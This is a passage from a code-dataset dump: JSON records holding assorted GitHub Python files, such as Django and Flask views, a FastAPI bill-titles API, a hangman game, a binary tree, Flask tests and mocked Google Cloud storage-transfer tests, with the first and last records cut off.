Tool object\n The Tools set that is used by LLM to interact with the database\n verbose_flag : bool, optional\n The flag to indicate whether to print the output or not, by default False\n\n Returns\n -------\n Agent object\n \"\"\"\n # Create a memory object to store the conversation history\n memory = ConversationBufferMemory(memory_key=\"chat_history\")\n \n agent = initialize_agent(\n agent=\"conversational-react-description\",\n llm=llm,\n tools=tools,\n verbose=verbose_flag,\n max_iterations=3,\n memory=memory\n )\n\n return agent","repo_name":"SimratHasura/AutoSQL","sub_path":"api/demo/autosql_demo.py","file_name":"autosql_demo.py","file_ext":"py","file_size_in_byte":7844,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"23604008531","text":"import requests\nimport logging\nfrom typing import List\nfrom datetime import datetime\nfrom decouple import config\n\n\nclass GetPostDatacose:\n def __init__(self):\n logging.basicConfig(level=logging.INFO)\n # Using empty string default in case the first arg is not in the .env file to avoid errors\n self.user = config('API_USER', default='')\n self.passw = config('API_PASSW', default='')\n self.api_key = config('API_KEY', default='')\n self.get_url = \"https://challenge-automation-engineer-xij5xxbepq-uc.a.run.app/people/\"\n self.post_url = \"https://challenge-automation-engineer-xij5xxbepq-uc.a.run.app/contacts/\"\n\n def get_contacts_data(self) -> List[dict]:\n \"\"\"\n Method to get all the contacts data from the /people/ endpoint.\n \"\"\"\n\n people_data = []\n get_headers = {\n \"Accept\": \"application/json\",\n \"Authorization\": self.api_key\n }\n try:\n res = requests.get(self.get_url, headers=get_headers)\n res.raise_for_status() # To raise status for the exception to catch\n contacts_data = res.json() # Parse data as json\n for contact in contacts_data:\n people_data.append(contact) # Make a list of dicts to return them forward\n except requests.exceptions.HTTPError as err:\n logging.error(err)\n raise SystemExit\n logging.info(f\"Stored data for {len(people_data)} contacts succesfully!\")\n return people_data\n\n def transform_contacts_data(self, data: List[dict]) -> List[dict]:\n \"\"\"\n Method that cleans the data received from the /people/ endpoint.\n \"\"\"\n\n if not data:\n raise EmptyDataList(message=f\"There is no data in the contact list for \"\n f\"{self.transform_contacts_data.__name__}\")\n transformed_contacts = []\n\n # Iterate through the contacts, clean the data and send them forward as the correct dict obj\n for contact in data:\n contact_obj = {\n \"first_name\": contact['fields']['firstName'].strip(),\n \"last_name\": contact['fields']['lastName'].strip(),\n \"birthdate\": datetime.strptime(contact['fields']['dateOfBirth'],\n \"%d-%m-%Y\").strftime(\"%Y-%m-%d\"),\n \"email\": contact['fields']['email'],\n \"custom_properties\": {\n \"airtable_id\": contact['id'],\n \"lifetime_value\": float \\\n (contact['fields']['lifetime_value'].replace(\"$\", \"\"))\n }\n }\n transformed_contacts.append(contact_obj)\n logging.info(f\"Finished cleaning data for {len(transformed_contacts)} contacts!\")\n return transformed_contacts\n\n def post_contacts_data(self, data: List[dict]) -> None:\n \"\"\"\n Method to post all the cleaned contacts data to the /contacts/ endpoint.\n \"\"\"\n\n if not data:\n raise EmptyDataList(message=f\"There is no data in the contact list for \"\n f\"{self.post_contacts_data.__name__}\")\n\n post_headers = {\n \"Accept\": \"application/json\",\n \"Content-Type\": \"application/json\"\n }\n\n # For each contact send a post req, using basic auth and the data in a json body\n for contact in data:\n try:\n res = requests.post(self.post_url, auth=(self.user, self.passw),\n headers=post_headers,\n json=contact)\n res.raise_for_status()\n except requests.exceptions.HTTPError as err:\n logging.error(err)\n raise SystemExit\n logging.info(f\"POST Request succesfully made for all {len(data)} contacts!\")\n\n\nclass EmptyDataList(Exception):\n \"\"\"\n Custom error raised when the data list for contacts is empty.\n \"\"\"\n\n def __init__(self, message: str) -> None:\n self.message = message\n super().__init__(message)\n","repo_name":"Nedelcu-Andrei/get_post_api_data","sub_path":"source/get_post_contacts.py","file_name":"get_post_contacts.py","file_ext":"py","file_size_in_byte":4133,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"42215241493","text":"# (Function 1)\nfrom django.http import HttpResponse\n\nfrom django.shortcuts import render\n\n# Create your views here.\n\n# (Function 1)\n# def base (request):\n# return HttpResponse (\"Hello World\")\n\n# (Function 2)\n# def base (request):\n# return render(request,\"basic.html\")\n\n# (Function 3)\n# def base (request):\n# name=\"Kerala\"\n# return render(request,\"basic.html\",{'obj':name})\n\n# # (Function 4)\ndef base (request):\n return render(request,\"home.html\")\ndef addition (request):\n x=int(request.GET['num1'])\n y=int(request.GET['num2'])\n add=x+y\n sub=x-y\n mul=x*y\n div=x/y\n return render(request,\"result.html\",{'answer':add,'answer1':sub,'answer2':mul,'answer3':div})\n\n","repo_name":"PradeepChandran3/Travel","sub_path":"Travel_Project/Basic_App/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":699,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"34015672202","text":"import random\nimport os\n\n__author__ = 'Omri'\n\nNUMBER_OF_TRIES = 7\nNUMBER_OF_CATAGORIES = 2\n\n\ndef main():\n random_word = get_random_word(enter_choice())\n already_entered = []\n tries = NUMBER_OF_TRIES\n print(\"Let's start... You have {} guess!\".format(tries))\n while tries is not 0:\n user_input = input(\"Enter Letter: \")\n user_input = user_input.lower()\n if user_input.isalpha() and len(user_input) is 1:\n if user_input not in already_entered:\n already_entered.append(user_input)\n if user_input in random_word:\n print(\"Good Guess!\")\n if print_already_found(random_word, already_entered) is True:\n break\n else:\n tries -= 1\n print(\"Bad guess! you have {} tries left.\".format(tries))\n else:\n print(\"You already tried this letter..\")\n else:\n print(\"Please enter only letters\")\n if tries is 0:\n print(\"You Lost!\")\n\n\ndef print_already_found(the_word, the_guess):\n counter = 0\n for letter in the_word:\n if letter in the_guess or letter == '&' or letter == ' ':\n print(letter, end=\"\")\n counter += 1\n else:\n print(\"_\", end=\"\")\n print('\\n')\n if counter == len(the_word):\n print(\"YOU WIN!\")\n return True\n\n\ndef enter_choice():\n num=0\n while num not in range (1,NUMBER_OF_CATAGORIES):\n try:\n num = input(\"Please enter the category you want\\nYou can choose from: 1- Fruits, 2-Countries: \")\n num = int(num)\n except Exception:\n pass\n return num\n\n\ndef get_random_word(num):\n path = os.path.dirname(os.path.realpath(\"hangman.py\"))\n path += '\\\\'\n if int(num) is 1:\n load_path = path + 'fruits.txt'\n elif int(num) is 2:\n load_path = path + 'countries.txt'\n with open(load_path, 'r') as word_bag:\n my_list = [line for line in word_bag]\n my_list = [word.strip().lower() for word in my_list]\n return my_list[random.randint(0, len(my_list) - 1)]\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"Omrii229/MyHangman","sub_path":"hangman.py","file_name":"hangman.py","file_ext":"py","file_size_in_byte":2175,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"74433630823","text":"# coding:utf8\nimport cPickle as pkl\nimport logging\nimport random\nfrom collections import namedtuple\nfrom copy import deepcopy\n\nimport numpy\nimport torch\nfrom torch.autograd import Variable\n\nrandom.seed(1234)\n\n# os.chdir('/home/ml/ydong26/Dropbox/summarization_RL/summarization_RL/src/')\nConfig = namedtuple('parameters',\n ['vocab_size', 'embedding_dim',\n 'position_size', 'position_dim',\n 'word_input_size', 'sent_input_size',\n 'word_GRU_hidden_units', 'sent_GRU_hidden_units',\n 'pretrained_embedding', 'word2id', 'id2word',\n 'dropout'])\n\n\nclass Document():\n def __init__(self, content, label, summary):\n self.content = content\n self.label = label\n self.summary = summary\n\n\n# class Dataset():\n# def __init__(self, data_list):\n# self._data = data_list\n#\n# def __len__(self):\n# return len(self._data)\n#\n# def __call__(self, batch_size, shuffle=True):\n# max_len = len(self)\n# if shuffle:\n# random.shuffle(self._data)\n# batchs = [self._data[index:index + batch_size] for index in range(0, max_len, batch_size)]\n# return batchs\n#\n# def __getitem__(self, index):\n# return self._data[index]\n\n\n# a bunch of converter functions\ndef tokens_to_sentences(token_list):\n # convert a token list to sents list\n # this is a cheap fix, might need better way to do it\n if isinstance(token_list[0], list):\n sents_list = token_list\n else:\n sents_list = []\n counter = 0\n for i, token in enumerate(token_list):\n if token == '.' or token == '!' or token == '?':\n sents_list.append(token_list[counter:i + 1]) # include .!? in sents\n counter = i + 1\n\n sents_list = [\" \".join(s) for s in sents_list]\n\n sents_list = [s.replace(\"\", '') for s in sents_list]\n sents_list = [s.replace(\"\", '') for s in sents_list]\n\n # sequence = \" \".join(token_list).strip()\n # sequence = sequence.replace(\"\\\\\",\"\")\n # if \"\" not in token_list:\n # extra_abbreviations = ['dr', 'vs', 'mr', 'mrs', 'prof', 'inc', 'i.e', 'u.s']\n # sentence_tokenizer = nltk.data.load('tokenizers/punkt/english.pickle')\n # sentence_tokenizer._params.abbrev_types.update(extra_abbreviations)\n # new_list = sent_tokenize(sequence)\n # new_list = [s for s in new_list if len(s.split())>1] #all and is removed\n # #print(new_list)\n # else:\n # new_list = sequence.split(\"\")\n # new_list = [s+\"\" for s in new_list if len(s.split()) > 1]\n #\n # new_list = [s.replace(\"\",'') for s in new_list]\n # new_list = [s.replace(\"\", '') for s in new_list]\n return sents_list\n\n\ndef remove_control_tokens(text):\n if type(text) == str:\n text = text.replace(\"\", \"\")\n text = text.replace(\"\", \"\")\n # list of strings\n if type(text) == list:\n text = [s.replace(\"\", \"\") for s in text if type(s) == str]\n text = [s.replace(\"\", \"\") for s in text if type(s) == str]\n return text\n\n\ndef prepare_data(doc, word2id):\n data = deepcopy(doc.content)\n max_len = -1 # this is for padding\n for sent in data:\n words = sent.strip().split()\n max_len = max(max_len, len(words))\n sent_list = []\n\n for sent in data:\n words = sent.lower().strip().split()\n sent = [word2id[word] for word in words]\n if len(sent) == 0:\n continue\n sent += [0 for _ in range(max_len - len(sent))] # this is to pad at the end of each sequence\n sent_list.append(sent)\n\n sent_array = numpy.array(sent_list)\n return sent_array\n","repo_name":"YueDongCS/BanditSum","sub_path":"helper.py","file_name":"helper.py","file_ext":"py","file_size_in_byte":3756,"program_lang":"python","lang":"en","doc_type":"code","stars":27,"dataset":"github-code","pt":"36"} +{"seq_id":"36540323443","text":"import os\nimport tensorflow as tf\nimport numpy as np\nfrom tensorflow import keras\nfrom skimage import io\nfrom tensorflow.keras.preprocessing import image\n\n\n# Flask utils\nfrom flask import Flask, redirect, url_for, request, render_template, Markup\nfrom werkzeug.utils import secure_filename\nfrom gevent.pywsgi import WSGIServer\n\n# Define a flask app\napp = Flask(__name__)\n\n#app.config['SERVER_NAME'] = '0.0.0.0:5000'\n\n# app.config.from_pyfile(config.cfg)\n# Model saved with Keras model.save()\n\n# You can also use pretrained model from Keras\n# Check https://keras.io/applications/\n\nMODEL_DICT = {\n \"Apple\": \"model.h5\",\n \"Blueberry\": \"model.h5\",\n \"Cherry\": \"model.h5\",\n \"Corn\": \"model.h5\",\n \"Grape\": \"model.h5\",\n \"Orange\": \"model.h5\",\n \"Peach\": \"model.h5\",\n \"Pepper\": \"model.h5\",\n \"Potato\": \"model.h5\",\n \"Raspberry\": \"model.h5\",\n \"Soybean\": \"model.h5\",\n \"Squash\": \"model.h5\",\n \"Strawberry\": \"model.h5\",\n \"Tomato\": \"model.h5\"\n}\n\n\ndef model_predict(img_path, model):\n img = image.load_img(img_path, grayscale=False, target_size=(64, 64))\n #show_img = image.load_img(img_path, grayscale=False, target_size=(64, 64))\n x = image.img_to_array(img)\n x = np.expand_dims(x, axis=0)\n x = np.array(x, 'float32')\n x /= 255\n preds = model.predict(x)\n return preds\n\n\n@app.route('/', methods=['GET'])\ndef index():\n # Main page\n dropdown_options = [k for k, v in MODEL_DICT.items()]\n return render_template('index.html', options=dropdown_options)\n\n\n@app.route('/predict', methods=['GET', 'POST'])\ndef upload():\n if request.method == 'POST':\n # Get the file from post request\n f = request.files['file']\n\n # Save the file to ./uploads\n basepath = os.path.dirname(__file__)\n file_path = os.path.join(\n basepath, 'uploads', secure_filename(f.filename))\n f.save(file_path)\n pname = request.form[\"plant_name\"]\n model = tf.keras.models.load_model(\n MODEL_DICT[pname], compile=False)\n\n print('Model loaded!!')\n\n # Make prediction\n preds = model_predict(file_path, model)\n print(preds[0])\n\n # x = x.reshape([64, 64]);\n disease_class = ['Apple___Apple_scab', 'Apple___Black_rot', 'Apple___Cedar_apple_rust', 'Apple___healthy', 'Blueberry___healthy',\n 'Cherry_(including_sour)___Powdery_mildew',\n 'Cherry_(including_sour)___healthy',\n 'Corn_(maize)___Cercospora_leaf_spot Gray_leaf_spot',\n 'Corn_(maize)___Common_rust_', 'Corn_(maize)___Northern_Leaf_Blight',\n 'Corn_(maize)___healthy', 'Grape___Black_rot',\n 'Grape___Esca_(Black_Measles)',\n 'Grape___Leaf_blight_(Isariopsis_Leaf_Spot)', 'Grape___healthy',\n 'Orange___Haunglongbing_(Citrus_greening)', 'Peach___Bacterial_spot',\n 'Peach___healthy', 'Pepper_bell___Bacterial_spot',\n 'Pepper_bell___healthy', 'Potato___Early_blight', 'Potato___Late_blight',\n 'Potato___healthy', 'Raspberry___healthy', 'Soybean___healthy',\n 'Squash___Powdery_mildew', 'Strawberry___Leaf_scorch',\n 'Strawberry___healthy', 'Tomato___Bacterial_spot', 'Tomato___Early_blight',\n 'Tomato___Late_blight', 'Tomato___Leaf_Mold', 'Tomato___Septoria_leaf_spot',\n 'Tomato___Spider_mites Two-spotted_spider_mite', 'Tomato___Target_Spot',\n 'Tomato___Tomato_Yellow_Leaf_Curl_Virus', 'Tomato___Tomato_mosaic_virus',\n 'Tomato___healthy']\n a = preds[0]\n ind = np.argmax(a)\n print('Prediction:', disease_class[ind])\n result = disease_class[ind]\n result = tuple(result.split('___'))\n print(result)\n return {\n \"plant\": pname,\n \"status\": result[1],\n }\n return None\n\n\nif __name__ == '__main__':\n # app.run(port=5000, debug=True)\n\n # Serve the app with gevent\n http_server = WSGIServer(('', 5000), app)\n http_server.serve_forever()\n app.run()\n","repo_name":"ProudPirate/plantdisease","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":4221,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"13356663354","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sat Dec 11 23:25:09 2021\r\n\r\n@author: giuli\r\n\"\"\"\r\n\r\n\r\nimport numpy as np\r\n\r\ndef LCSS(s1,s2,t1,t2,delta):\r\n matrix_ = np.zeros((len(s1),(len(s2))))\r\n for i in range(len(s1)):\r\n for j in range(len(s2)):\r\n if s1[i] == s2[j] and abs(t1[i]-t2[j])<= delta:\r\n if i == 0 or j == 0:\r\n matrix_[i][j] = 1\r\n \r\n else:\r\n matrix_[i][j] = matrix_[i-1][j-1] + 1\r\n else:\r\n matrix_[i][j] = max(matrix_[i-1][j], matrix_[i][j-1])\r\n\r\n cs = matrix_[-1][-1]\r\n\r\n return cs\r\n\r\n\r\n","repo_name":"giovannilugaresi/digital_twin_validator","sub_path":"LCSS_delta.py","file_name":"LCSS_delta.py","file_ext":"py","file_size_in_byte":636,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"6195452952","text":"class BinaryTree:\n def __init__(self, obj):\n self._key = obj\n self._left = None\n self._right = None\n\n def get_root(self):\n return self._key\n def set_root(self, obj):\n self._key = obj\n # def del_root(self):\n # self.key = None\n root = property(get_root, set_root, None, 'A root of the Binary Tree.')\n\n def get_left(self):\n return self._left\n def set_left(self, obj):\n tmp = BinaryTree(obj)\n if self._left != None:\n tmp.left = self._left\n self._left = tmp\n # def del_left(self):\n # self.left = None\n left = property(get_left, set_left, None, 'A left branch of the Binary Tree.')\n\n def get_right(self):\n return self._right\n def set_right(self, obj):\n tmp = BinaryTree(obj)\n if self._right != None:\n tmp.right = self._right\n self._right = tmp\n\n # def del_right(self):\n # self.right = None\n right = property(get_right, set_right, None, 'A right branch of the Binary Tree.')\n\ndef preorder(tree):\n if tree:\n print(tree.root)\n preorder(tree.left)\n preorder(tree.right)\n\ndef postorder(tree):\n if tree != None:\n postorder(tree.left)\n postorder(tree.right)\n print(tree.root)\n\ndef inorder(tree):\n if tree != None:\n inorder(tree.left)\n print(tree.root)\n inorder(tree.right)\n\n\nif __name__ == '__main__':\n r = BinaryTree('a')\n print(r.root, r.left, r.right)\n r.left = 'b'\n print(r.root, r.left.root, r.right)\n r.right = 'c'\n print(r.root, r.left.root, r.right.root)\n r_right = r.right\n r_right.root = 'hello'\n print(r.root, r.left.root, r.right.root)\n\n print('\\n')\n preorder(r), print('\\n')\n postorder(r), print('\\n')\n inorder(r), print('\\n')\n\n","repo_name":"leo-gan/GLD.Skills","sub_path":"DataStructures/binary_tree_oo.py","file_name":"binary_tree_oo.py","file_ext":"py","file_size_in_byte":1812,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"36380171600","text":"from typing import List, Dict, Optional\n\nfrom fastapi import Depends, FastAPI, HTTPException\nfrom fastapi.openapi.utils import get_openapi\nfrom sqlalchemy.orm import Session\nfrom sqlmodel import SQLModel\n\nfrom . import crud, pymodels\nfrom .database import SessionLocal, engine\nfrom .version import __version__\n\nBILL_VERSION_DEFAULT = '--'\n\nSQLModel.metadata.create_all(engine)\n\n# Run in uvicorn with:\n# uvicorn billtitles.main:app --reload\napp = FastAPI()\n\n\n# Dependency\ndef get_db():\n db = SessionLocal()\n try:\n yield db\n finally:\n db.close()\n\n#@app.get(\"/bills/related\", response_model=List[pymodels.BillToBillModel or pypymodels.BillToBillModelDeep])\n#@app.get(\"/bills/related/{billnumber}\", response_model=List[pymodels.BillToBillModel or pymodels.BillToBillModelDeep])\n#@app.get(\"/bills/related/{billnumber}/{version}\", response_model=List[pymodels.BillToBillModel or pymodels.BillToBillModelDeep])\n@app.get(\"/bills/related\")\n@app.get(\"/bills/related/{billnumber}\")\n@app.get(\"/bills/related/{billnumber}/{version}\")\ndef related_bills(billnumber: str, version: Optional[str] = None, flat: Optional[bool] = True, billsonly: Optional[bool] = False, db: Session = Depends(get_db)):\n if version is None:\n version = BILL_VERSION_DEFAULT\n # TODO: get the latest version of the bill and get resuls from that\n db_bills = crud.get_related_bills(db, billnumber=billnumber, version=version, flat=flat, billsonly=billsonly)\n if db_bills is None:\n raise HTTPException(status_code=404, detail=\"Bills related to {billnumber} ({version}) not found\".format(billnumber=billnumber, version=version))\n return db_bills\n\n@app.get(\"/bills/titles/{billnumber}\", response_model=pymodels.BillTitleResponse)\ndef read_bills(billnumber: str, db: Session = Depends(get_db)) -> pymodels.BillTitleResponse:\n db_bill = crud.get_bill_titles_by_billnumber(db, billnumber=billnumber)\n if db_bill is None:\n raise HTTPException(status_code=404, detail=\"Bill {billnumber} not found\".format(billnumber=billnumber))\n return db_bill\n\n@app.post(\"/related/\" )\ndef create_related(db: Session = Depends(get_db)):\n # TODO: Use POST data to create a new related bill\n if db is None:\n raise HTTPException(status_code=404, detail=\"Bill {billnumber} not found\".format(billnumber=billnumber))\n return db\n\n@app.get(\"/titles/{title_id}\" )\ndef read_title(title_id: int, db: Session = Depends(get_db) ) -> pymodels.TitleBillsResponse:\n db_bill = crud.get_title_by_id(db, title_id=title_id)\n if db_bill is None:\n raise HTTPException(status_code=404, detail=\"Title with id {title_id} not found\".format(title_id=title_id))\n return db_bill\n\n# TODO This returns three different kind of responses depending on whether\n# there is a title parameter, a title id parameter or neither (with skip & limit)\n# Need to split these responses to different queries or return the same\n# response type for all three \n@app.get(\"/titles/\" )\ndef read_titles(skip: int = 0, limit: int = 100, db: Session = Depends(get_db), title_id: int = None, title: str = None):\n if title_id is not None:\n return crud.get_title_by_id(db, title_id=title_id)\n elif title is not None:\n return crud.get_title(db, title=title)\n else:\n return crud.get_titles(db, skip=skip, limit=limit)\n\n@app.post(\"/titles/\" )\ndef add_title_to_db(title: str, billnumbers: List[str], db: Session = Depends(get_db), is_for_whole_bill: bool = False):\n return crud.add_title(db, title=title, billnumber=billnumbers, is_for_whole_bill=is_for_whole_bill)\n\n@app.delete(\"/titles/\" )\ndef remove_title_from_db(title: str, db: Session = Depends(get_db)):\n return crud.remove_title(db, title=title)\n\ndef custom_openapi():\n if app.openapi_schema:\n return app.openapi_schema\n openapi_schema = get_openapi(\n title=\"BillTitles API\",\n version=__version__,\n description=\"API for related bills\",\n routes=app.routes,\n )\n openapi_schema[\"info\"][\"x-logo\"] = {\n \"url\": \"https://fastapi.tiangolo.com/img/logo-margin/logo-teal.png\"\n }\n app.openapi_schema = openapi_schema\n return app.openapi_schema\n\n\napp.openapi = custom_openapi","repo_name":"dreamproit/billtitles-py","sub_path":"billtitles/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4192,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"36"} +{"seq_id":"7937636731","text":"from django.conf.urls import url\nfrom . import views\n\napp_name = 'itInventory'\nurlpatterns = [\n url(r'^$', views.index, name='index'),\n url(r'^addItem/$', views.addItem, name='addItem'),\n url(r'^viewInventory/$', views.viewInventory, name='viewInventory'),\n url(r'^searchItem/$', views.searchItem, name='searchItem'),\n url(r'^queryInventory/$', views.queryInventory, name='queryInventory'),\n url(r'^itemDetail/(?P[0-9]+)/$', views.itemDetail, name='itemDetail'),\n url(r'^updateItem/(?P[0-9]+)/$', views.updateItem, name='updateItem'),\n url(r'^deleteItem/(?P[0-9]+)/$', views.deleteItem, name='deleteItem'),\n]","repo_name":"sclobo94/itInventorySite","sub_path":"itInventory/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":659,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"38375018590","text":"import heapq\nfrom datetime import datetime\nimport collections\n\n\n# Time Complexity: O(N * (logN + logK))\n# Space Complexity: O(N + K)\n# where N is the total number of candidates and K is the size of team\nclass Solution:\n def maxPerformance(self, n: int, speed, efficiency, k):\n es = zip(efficiency, speed)\n es = sorted(es, key=lambda x: x[0], reverse=True)\n ss, ans = 0, 0\n heap = []\n for e, s in es:\n heapq.heappush(heap, s)\n ss += s\n if len(heap) > k:\n ss -= heapq.heappop(heap)\n ans = max(ans, ss * e)\n return ans % (10**9+7)\n\n\nif __name__ == \"__main__\":\n start_time = datetime.now()\n sol = Solution()\n print(sol.maxPerformance(6,[2,10,3,1,5,8], [5,4,3,9,7,2],3))\n\n end_time = datetime.now()\n print('Duration: {}'.format(end_time - start_time))","repo_name":"koba4444/leetcode","sub_path":"n01383.py","file_name":"n01383.py","file_ext":"py","file_size_in_byte":865,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"17129008539","text":"#\n# bore.py: bore check cutdown\n#\n\nimport pyperclip\nimport sys\nimport re\nimport i7\n\nfrom collections import defaultdict\nbore_rules_found = defaultdict(int)\nbore_check_found = defaultdict(int)\nignore = defaultdict(int)\nopen_line = defaultdict(int)\n\ndef chop_bore_rules(x):\n source = i7.main_src(x)\n sr2 = re.sub(\"\\.[a-z0-9]+$\", \".tmp\", source)\n if sr2 == source: sys.exit(\"Bad file name\")\n outs = open(sr2, \"w\")\n in_bore = False\n bore_text = \"\"\n exam_to_wipe = 0\n instead_to_insert = 0\n with open(source) as file:\n for (line_count, line) in enumerate(file, 1):\n if not line.strip():\n if in_bore:\n outs.write(bore_text)\n in_bore = False\n outs.write(line)\n continue\n if \"bore-check\" in line and \"\\t\" not in line:\n bc = re.sub(\".*bore-check\", \"\", line.lower().strip())\n bc = re.sub(\"\\..*\", \"\", bc)\n bc = re.sub(\".* is +(the +)?\", \"\", bc)\n bc = re.sub(\"rule.*\", \"rule\", bc)\n if bc in ignore: print(\"Ignoring\", bc, line_count)\n elif bc in bore_check_found: print(\"Duplicate\", bc, line_count, bore_check_found[bc])\n else: bore_check_found[bc] = line_count\n if line.lower().startswith(\"this is the bore\"):\n in_bore = True\n bore_text = \"\"\n l2 = re.sub(\"^this is the \", \"\", line.lower().strip())\n l2 = re.sub(\":.*\", \"\", l2)\n if l2 in ignore: print(\"Ignoring\", l2, line_count)\n elif l2 in bore_rules_found: print(\"Duplicate bore rule\", l2, line_count, bore_rules_found[l2])\n else: bore_rules_found[l2] = line_count\n if not in_bore:\n outs.write(line)\n continue\n if \"the bore-exam rule\" in line:\n exam_to_wipe += 1\n continue\n if \"\\tthe rule succeeds\" in line or \"\\tcontinue the action\" in line:\n instead_to_insert += 1\n bore_text = re.sub(\"(?Jamie Foxx', html)\n self.assertIn(self.user.img_url, html)\n \n def test_add_user(self):\n with app.test_client() as client:\n new_user = {'first_name':'Mike', 'last_name': 'Tyson', 'img_url': \"https://upload.wikimedia.org/wikipedia/commons/thumb/e/e1/Mike_Tyson_2019_by_Glenn_Francis.jpg/220px-Mike_Tyson_2019_by_Glenn_Francis.jpg\"}\n\n resp = client.post('/users/new', data = new_user, follow_redirects = True)\n html = resp.get_data(as_text=True)\n\n self.assertEqual(resp.status_code, 200)\n self.assertIn('Mike Tyson', html)\n \n def test_delete_user(self):\n with app.test_client() as client: \n resp = client.post(f'/users/{self.user_id}/delete', follow_redirects = True)\n html = resp.get_data(as_text=True)\n\n self.assertEqual(resp.status_code, 200)\n self.assertNotEqual('Jamie', html)\n\n # tests for post views\n def test_post_display_on_user_page(self):\n \"\"\"tests to see if when a post is made, it is listed on users details page\"\"\"\n with app.test_client() as client: \n resp = client.get(f'/users/{self.user_id}')\n html = resp.get_data(as_text=True)\n\n self.assertEqual(resp.status_code, 200)\n self.assertIn('TestTitle', html)\n self.assertIn(str(self.post_id), html)\n \n def test_post_details_page(self):\n \"\"\"tests rendering of posts detail page\"\"\"\n with app.test_client() as client: \n resp = client.get(f'/posts/{self.post_id}')\n html = resp.get_data(as_text=True)\n\n self.assertEqual(resp.status_code, 200)\n self.assertIn('

TestTitle

', html)\n self.assertIn('

TestContent

', html)\n self.assertIn(self.user.first_name, html)\n self.assertIn(self.user.last_name, html)\n \n def test_add_new_post(self):\n with app.test_client() as client: \n new_post = {'title':'TestTitle2', 'content': 'TestContent2', 'user_id': f'{self.user_id}'}\n\n resp = client.post(f'/users/{self.user_id}/posts/new', data = new_post, follow_redirects = True)\n html = resp.get_data(as_text=True)\n\n self.assertEqual(resp.status_code, 200)\n self.assertIn('TestTitle2', html)\n # post_id are incrementing, so second post should have an id += 1\n self.assertIn(str(self.post_id + 1), html)\n \n def test_delete_post(self):\n with app.test_client() as client: \n resp = client.post(f'/posts/{self.post_id}/delete', follow_redirects = True)\n html = resp.get_data(as_text=True)\n\n self.assertEqual(resp.status_code, 200)\n self.assertNotIn('TestTitle', html)\n self.assertNotIn(f'/posts/{self.post_id}', html)","repo_name":"srashed001/blogly_part_1","sub_path":"test_flask.py","file_name":"test_flask.py","file_ext":"py","file_size_in_byte":4718,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"30592592945","text":"import sys\r\nfrom PyQt5.QtWidgets import *\r\n\r\ndef clicked_slot():\r\n print(\"clicked\")\r\n\r\napp = QApplication(sys.argv)\r\nlabel = QPushButton(\"Hello PyQt\")\r\nlabel.show()\r\n\r\nprint(\"Before event loop\")\r\napp.exec_()\r\nprint(\"After event loop\")","repo_name":"namekun/algorithmTrading","sub_path":"ch16_qt_test.py","file_name":"ch16_qt_test.py","file_ext":"py","file_size_in_byte":237,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"36187704273","text":"import typing\nimport unittest\nimport mock\n\nfrom libcloudforensics import errors\nfrom tests.providers.gcp import gcp_mocks\n\n\nclass GoogleCloudStorageTransferTest(unittest.TestCase):\n \"\"\"Test Google Cloud Storage Transfer class.\"\"\"\n # pylint: disable=line-too-long\n\n @typing.no_type_check\n @mock.patch('boto3.session.Session.get_credentials')\n @mock.patch('boto3.session.Session._setup_loader')\n @mock.patch('libcloudforensics.providers.gcp.internal.storagetransfer.GoogleCloudStorageTransfer.GcstApi')\n def testS3ToGCS(self, mock_gcst_api, mock_loader, mock_creds):\n \"\"\"Test S3ToGCS operation.\"\"\"\n api_job_create = mock_gcst_api.return_value.transferJobs.return_value.create\n api_job_create.return_value.execute.return_value = gcp_mocks.MOCK_STORAGE_TRANSFER_JOB\n api_job_get = mock_gcst_api.return_value.transferOperations.return_value.list\n api_job_get.return_value.execute.return_value = gcp_mocks.MOCK_STORAGE_TRANSFER_OPERATION\n mock_loader.return_value = None\n creds = mock.MagicMock()\n creds.access_key = 'ABC'\n creds.secret_key = 'DEF'\n mock_creds.return_value = creds\n\n transfer_results = gcp_mocks.FAKE_GCST.S3ToGCS(\n 's3://s3_source_bucket/file.name',\n 'fake-zone-2b',\n 'gs://gcs_sink_bucket/test_path')\n self.assertEqual(1, len(transfer_results['operations']))\n self.assertEqual('s3_source_bucket', transfer_results['operations'][0]['metadata']['transferSpec']['awsS3DataSource']['bucketName'])\n self.assertEqual('30', transfer_results['operations'][0]['metadata']['counters']['bytesCopiedToSink'])\n\n @typing.no_type_check\n @mock.patch('boto3.session.Session.get_credentials')\n def testS3ToGCSNoCreds(self, mock_creds):\n \"\"\"Test S3TOGCS operation when no AWS credentials exist.\"\"\"\n with self.assertRaises(errors.TransferCreationError):\n mock_creds.return_value = mock.MagicMock()\n gcp_mocks.FAKE_GCST.S3ToGCS(\n 's3://s3_source_bucket/file.name',\n 'fake-zone-2b',\n 'gs://gcs_sink_bucket/test_path')\n\n @typing.no_type_check\n @mock.patch('boto3.session.Session.get_credentials')\n def testS3ToGCSTempCreds(self, mock_creds):\n \"\"\"Test S3TOGCS operation when temporary AWS credentials exist.\"\"\"\n creds = mock.MagicMock()\n creds.access_key = 'ASIA'\n creds.secret_key = 'DEF'\n mock_creds.return_value = creds\n with self.assertRaises(errors.TransferCreationError):\n 